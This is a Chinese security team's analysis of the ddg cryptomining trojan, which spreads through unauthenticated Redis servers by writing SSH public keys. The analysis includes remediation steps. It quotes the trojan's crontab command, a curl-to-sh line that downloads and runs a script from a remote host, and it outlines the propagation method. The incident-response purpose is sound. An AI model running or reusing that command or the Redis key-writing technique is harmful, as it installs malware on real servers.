近日,乐视安全中心接获用户服务器高负载告警,经安全人员协查分析,发现是通过redis漏洞传播的挖矿木马-ddg,大量消耗服务器资源,难以清除并具有内网扩散功能。本文为乐视安全中心对木马具体原理功能及传播方式进行的分析,以及给出的解决方案。
登陆被感染服务器,利用top查看CPU使用率,找到CPU消耗进程AnXqV
通过kill杀死AnXqV进程并进行删除,约15分种后系统告警,AnXqV再次创建并启动 (https://www.secpulse.com/archives/56741.html 安全脉搏)
此时查看crontab定时器发现指令: curl -fsSL http://www.haveabitchin.com/pm.sh?223 | sh 定时下载并执行如下脚本:
ddg.222为golang编写无明显函数符号和字符串特征
根据编译版本编写辅助脚本还原golang函数符号
摘要出ddg主要使用到的功能库shirou_gopsutil,VividCortex_godaemon,boltdb_bolt,garyburd_redigo,golang_protobuf_proto,hashicorp_yamux,moul_http2curl,parnurzeal_gorequest,satori_go_2euuid
分别具有启动后台守护进程,监控进程和系统信息(Cpu和内存,网络,机器码,Mac地址等),实现redis客户端操作key/value数据库操作,开启RPC服务远程调用,单TCP多路复用等功能
分析ddg执行执行过程,首先调用ddg_aaredis__Server_genLanAddress接口获取局域网地址
调用ddg_aaredis__Server_worker开启扫描,在内网子网掩码内循环调用分别对每个ip测试了ddg_aaredis__Server_testRedis函数
ddg_aaredis__Server_testRedis函数主要用于测试redis漏洞,通过测试是否可以未授权访问redis并写入公钥登陆来进行扩散
梳理木马功能:
1、对可以未授权访问redis的服务器写入公钥登录,定时下载并执行脚本;
2、脚本下载AnXqV和ddg文件并运行,AnXqV进行挖矿,ddg进行系统监控远程调用并内网传播。
根据以上原理对木马进行清除,由于不同版本木马的写入文件名不同,需对照各自木马脚本下载的文件路径和文件名执行以下操作:
1、设置redis授权访问。
2、阻断服务器通讯。(如iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP)
3、清除定时器任务。(如systemctl stop crond)
4、删除木马和未知公钥文件。(如/tmp/ddg.222,/tmp/AnXqV.yam,/tmp/AnXqV,/tmp/AnXqV.noaes等及 ~/.ssh/中未知授权)
5、终止木马进程。(如pkill AnXqV,pkill ddg.222)
通过对此次木马扩散事件的分析和处理,为减少和杜绝此类事件的再次发生,提高安全预警能力,在此提醒业界同仁加强关注日常高带宽高资源服务器的运维安全细节:
1、对各类访问认证进行严格的授权
2、定期排查和实时抽查服务器状态,异常流量及cpu消耗需及时上报分析并与专业安全团队合作协查
3、关注敏感安全事件,及时修复高危漏洞
【原文:挖矿木马Ddg分析 作者:乐视安全应急响应中心 本文由乐视安全应急响应中心入驻安全脉搏账号发布】